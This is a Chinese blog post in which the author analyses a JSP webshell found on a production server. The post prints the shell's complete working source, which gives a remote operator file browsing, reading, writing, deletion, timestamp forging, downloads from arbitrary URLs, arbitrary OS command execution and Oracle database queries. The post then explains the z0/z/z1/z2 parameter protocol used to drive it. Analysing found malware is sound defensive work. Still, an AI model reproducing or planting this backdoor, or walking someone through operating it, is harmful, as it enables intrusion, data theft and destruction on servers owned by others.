在生产环境中碰见的JSP木马-sunziren
写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!
19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。
这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。
先上源代码:
<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
String Pwd="justtest123";
String EC(String s,String c)throws Exception{
return s;
}
//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{
String[] x=s.trim().split("\r\n");
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test");
System.out.println("数据库连接获取完毕");
if(x.length>2){
c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test");
}
return c;
}
void AA(StringBuffer sb)throws Exception{
File r[]=File.listRoots();
for(int i=0;i<r.length;i++){
sb.append(r[i].toString().substring(0,2));
}
}
void BB(String s,StringBuffer sb)throws Exception{
File oF=new File(s),l[]=oF.listFiles();
String sT, sQ,sF="";
java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for(int i=0;i<l.length;i++){
dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);
sQ=l[i].canRead()?"R":"";
sQ+=l[i].canWrite()?" W":"";
if(l[i].isDirectory()){
sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");
}else{
sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";
}
}
sb.append(sF);
}
void EE(String s)throws Exception{
File f=new File(s);
if(f.isDirectory()){
File x[]=f.listFiles();
for(int k=0;k<x.length;k++){
if(!x[k].delete()){
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s,HttpServletResponse r)throws Exception{
int n;
byte[] b=new byte[512];
r.reset();
ServletOutputStream os=r.getOutputStream();
BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.write(("|"+"<-").getBytes(),0,3);
os.close();
is.close();
}
void GG(String s, String d)throws Exception{
String h="0123456789ABCDEF";
int n;
File f=new File(s);
f.createNewFile();
FileOutputStream os=new FileOutputStream(f);
for(int i=0;i<d.length();i+=2){
os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));
}
os.close();
}
void HH(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
if(sf.isDirectory()){
if(!df.exists()){
df.mkdir();
}
File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){
HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());
}
}else{
FileInputStream is=new FileInputStream(sf);
FileOutputStream os=new FileOutputStream(df);
int n;
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
is.close();
os.close();
}
}
void II(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
sf.renameTo(df);
}
void JJ(String s)throws Exception{
File f=new File(s);
f.mkdir();
}
void KK(String s,String t)throws Exception{
File f=new File(s);
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d)throws Exception{
URL u=new URL(s);
int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();
InputStream is=h.getInputStream();
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb)throws Exception{
String l;
BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
}
void NN(String s,StringBuffer sb)throws Exception{
System.out.println("进入了NN方法");
Connection c=GC(s);
System.out.println("GC方法执行完毕");
ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){
System.out.println(r.getString(1));
sb.append(r.getString(1)+"\t");
}
r.close();
c.close();
}
void OO(String s,StringBuffer sb)throws Exception{
Connection c=GC(s);
String[] t={"TABLE"};
ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){
sb.append(r.getString("TABLE_NAME")+"\t");
}
r.close();
c.close();
}
void PP(String s,StringBuffer sb)throws Exception{
String[] x=s.trim().split("\r\n");
Connection c=GC(s);
Statement m=c.createStatement(1005,1007);
ResultSet r=m.executeQuery("select * from "+x[3]);
ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){
sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{
int i;
Connection c=GC(s);
Statement m=c.createStatement(1005,1008);
try{
ResultSet r=m.executeQuery(q);
ResultSetMetaData d=r.getMetaData();
int n=d.getColumnCount();
for(i=1;i<=n;i++){
sb.append(d.getColumnName(i)+"\t|\t");
}
sb.append("\r\n");
while(r.next()){
for(i=1;i<=n;i++){
sb.append(EC(r.getString(i),cs)+"\t|\t");
}
sb.append("\r\n");
}
r.close();
}catch(Exception e){
sb.append("Result\t|\t\r\n");
try{
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){
sb.append(ee.toString()+"\t|\t\r\n");
}
}
m.close();
c.close();
}
%>
<%
String cs=request.getParameter("z0")+"";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter("z")+"",cs);
String z1=EC(request.getParameter("z1")+"",cs);
String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");
System.out.println(Z);
try{
sb.append("->"+"|");
if(Z.equals("A")){
String s=new File(application.getRealPath(request.getRequestURI())).getParent();
sb.append(s+"\t");
if(!s.substring(0,1).equals("/")){
AA(sb);
}
}else if(Z.equals("B")){
BB(z1,sb);
}else if(Z.equals("C")){
String l="";
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
br.close();
}else if(Z.equals("D")){
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
}else if(Z.equals("E")){
EE(z1);
sb.append("1");
}else if(Z.equals("F")){
FF(z1,response);
}else if(Z.equals("G")){
GG(z1,z2);
sb.append("1");
}else if(Z.equals("H")){
System.out.println("进入了H");
HH(z1,z2);
sb.append("1");
}else if(Z.equals("I")){
II(z1,z2);
sb.append("1");
}else if(Z.equals("J")){
JJ(z1);
sb.append("1");
}else if(Z.equals("K")){
KK(z1,z2);
sb.append("1");
}else if(Z.equals("L")){
LL(z1,z2);
sb.append("1");
}else if(Z.equals("M")){
String[] c={z1.substring(2),z1.substring(0,2),z2};
Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);
MM(p.getErrorStream(),sb);
}else if(Z.equals("N")){
NN(z1,sb);
}else if(Z.equals("O")){
OO(z1,sb);
}else if(Z.equals("P")){
PP(z1,sb);
}else if(Z.equals("Q")){
QQ(cs,z1,z2,sb);
}
}catch(Exception e){
sb.append("ERROR"+":// "+e.toString());
}
sb.append("|"+"<-");
out.print(sb.toString());
%>
简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。
参数中的内容需要用urlencode转码。
我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)
A: 获取当前木马的绝对路径和系统所有卷标。
B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。
C: 获取指定文件的内容。z1需要精确到文件名。
D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。
E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。
F: 返回指定文件的所有内容,包括第一行
G: 没搞明白这个参数对应的方法是干什么的
本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。
再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。
在生产环境中碰见的JSP木马-sunziren的更多相关文章
- 生产环境中tomcat的配置
生产环境中要以daemon方式运行tomcat 通常在开发环境中,我们使用$CATALINA_HOME/bin/startup.sh来启动tomcat, 使用$CATALINA_HOME/bin/sh ...
- .NET跨平台之旅:在生产环境中上线第一个运行于Linux上的ASP.NET Core站点
2016年7月10日,我们在生产环境中上线了第一个运行于Linux上的ASP.NET Core站点,这是一个简单的提供后端服务的ASP.NET Core Web API站点. 项目是在Windows上 ...
- 理解Docker(6):若干企业生产环境中的容器网络方案
本系列文章将介绍 Docker的相关知识: (1)Docker 安装及基本用法 (2)Docker 镜像 (3)Docker 容器的隔离性 - 使用 Linux namespace 隔离容器的运行环境 ...
- .NET跨平台之旅:生产环境中第2个跑在Linux上的ASP.NET Core站点
今天我们在生产环境中上线了第2个跑在Linux上的ASP.NET Core站点.这是一个简单的Web API站点,通过命令行的方式调用安装在Linux服务器上的程序完成操作.之前用的是nodejs,现 ...
- 【原】Storm Local模式和生产环境中Topology运行配置
Storm入门教程 1. Storm基础 Storm Storm主要特点 Storm基本概念 Storm调度器 Storm配置 Guaranteeing Message Processing(消息处理 ...
- 生产环境中CentOS7部署NET Core应用程序
NET Core应用程序部署至生产环境中(CentOS7) 阅读目录 环境说明 准备你的ASP.NET Core应用程序 安装CentOS7 安装.NET Core SDK for CentOS7. ...
- 生产环境中使用Docker Swarm的一些建议
译者按: 实践中会发现,生产环境中使用单个Docker节点是远远不够的,搭建Docker集群势在必行.然而,面对Kubernetes, Mesos以及Swarm等众多容器集群系统,我们该如何选择呢?它 ...
- [virtualenv]生产环境中使用virtualenv
virtualenv 对于python开发和部署都是好工具,可以隔离多个python版本和第三方库的版本,这里作者总结了几个常用python服务怎么样结合virtual部署 原文链接 Python 中 ...
- Kubernetes 在生产环境中常用架构
Kubernetes 在生产环境中常用架构 首先,我们来梳理下Kubernetes生产架构,其设计适用于绝大多数环境.如下图所示 在该架构中,我们可以将其分为四层,如下: Client层:即Kuber ...
随机推荐
- 题解 CSP2019-J2T4【加工零件】
这题我们要求的是啥呢?仔细读题可以发现,工人传送带的关系可以看成一个 \(n\) 个点和 \(m\) 条边的无向图,然后对于每组询问 \((a,L)\),其实就是问: \(1\) 到 \(a\) 有没 ...
- vuejs之vue和springboot后端进行通信
一.新建一个vue项目,建立好后的相关文件 查看一下新建好的vue项目的结构: 当前各个文件中的内容: App.vue:主入口 <template> <div id="ap ...
- node - 简单的爬虫案例
cherrio模块 安装 cnpm install cherrio 使用方法 const cheerio = require('cheerio') const $ = cheerio.load('&l ...
- 开源堡垒机jumpserver的配置和使用
开源跳板机jumpserver配置和使用 http://docs.jumpserver.org/zh/docs/quick_start.html#id9 系统设置 基本设置 # 修改url 的&quo ...
- Django 配置文件 settings.py
1. dubug配置 DEBUG=False 2. 数据库配置 DATABASES = { 'default': { 'ENGINE': 'django.db.backends.mysql', &qu ...
- Python编程:从入门到实践——【作业】——第六章(字典)
第六章作业 6-1 人 : 使用一个字典来存储一个熟人的信息, 包括名. 姓. 年龄和居住的城市. 该字典应包含键first_name . last_name . age 和city . 将存储在该字 ...
- Charm Bracelet 一维01背包
A - Charm Bracelet Time Limit:1000MS Memory Limit:65536KB 64bit IO Format:%lld & %llu Su ...
- 普通台式机装centos7系统
一.环境 台式机配置如下: 配置:CPU -i5-7400 内存:8G 硬盘:1T 原装系统: win7 64x 使用软碟通刻录U盘做系统启动盘,教程: 教你用UltraISO+U盘制作启动盘和安装各 ...
- 前缀和&差分
一:差分数组概念 一.差分数组的定义及用途 1.定义:对于已知有n个元素的数列d,建立记录它每项与前一项差值的差分数组f:显然,f[1]=d[1]-0=d[1];对于整数i∈[2,n],我们让f[i ...
- getElementsByTagName得到的对象
今天练习使用DOM创建html元素,想通过getElementsByTagName("body")获得body对象,然后建立和新创建的元素的关系,如下图: 其实,getElemen ...